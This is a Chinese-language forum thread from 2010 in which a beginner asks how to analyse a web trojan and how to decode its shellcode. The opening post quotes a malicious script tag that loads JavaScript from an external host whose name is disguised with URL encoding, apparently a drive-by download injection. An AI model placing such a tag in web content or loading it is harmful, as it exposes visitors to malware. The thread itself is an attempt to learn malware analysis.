1   1  /  1  页   跳转页

[求助] 网马分析

收藏
带脚镣跳舞
头像
初生襁褓狮
  • 帖子:13
  • 注册: 2010-01-05
  • 来自:
发表于： 2010-01-05 15:55 | 显示全部 短消息 资料
字号： 小 中 大 1楼

网马分析

看了版主的教程，想自己学习下，结果卡住了，地址如下：请高手们分析下，让小弟入个门
<script language=javascript src=http://ne%62.xo%72g.%70l/c.js?google_ad=11×109_ad></script>

用户系统信息：Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.1; CIBA; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
分享到：
gototop
 
带脚镣跳舞
头像
初生襁褓狮
  • 帖子:13
  • 注册: 2010-01-05
  • 来自:
发表于： 2010-01-05 16:39 | 显示全部 短消息 资料
字号： 小 中 大 2楼

回复: 网马分析

版主见图
gototop
 
带脚镣跳舞
头像
初生襁褓狮
  • 帖子:13
  • 注册: 2010-01-05
  • 来自:
发表于： 2010-01-05 16:40 | 显示全部 短消息 资料
字号： 小 中 大 3楼

回复: 网马分析

版主见图
gototop
 
带脚镣跳舞
头像
初生襁褓狮
  • 帖子:13
  • 注册: 2010-01-05
  • 来自:
发表于： 2010-01-05 16:42 | 显示全部 短消息 资料
字号： 小 中 大 4楼

回复: 网马分析
gototop
 
带脚镣跳舞
头像
初生襁褓狮
  • 帖子:13
  • 注册: 2010-01-05
  • 来自:
发表于： 2010-01-05 16:44 | 显示全部 短消息 资料
字号： 小 中 大 5楼

回复：网马分析

到了最后几步解决不了
1、版主怎么知道去看upp.jpg而不是其他的
2、我解到最后只有乱码而没有xx.exe
3、用的是eye过滤  ESC解码
请斑竹指点
gototop
 
带脚镣跳舞
头像
初生襁褓狮
  • 帖子:13
  • 注册: 2010-01-05
  • 来自:
发表于： 2010-01-05 17:01 | 显示全部 短消息 资料
字号： 小 中 大 6楼

回复：网马分析

斑竹呀，郁闷，看到是SHELLCODE可还不会操作
看了教程是连续两次ESC即可搞定
你上面写的shellcode xor bd
我看不明白，就当我是个白痴吧，你耐心指点下
gototop
 
<<上一主题|下一主题>>
1   1  /  1  页   跳转页
页面顶部
Powered by Discuz!NT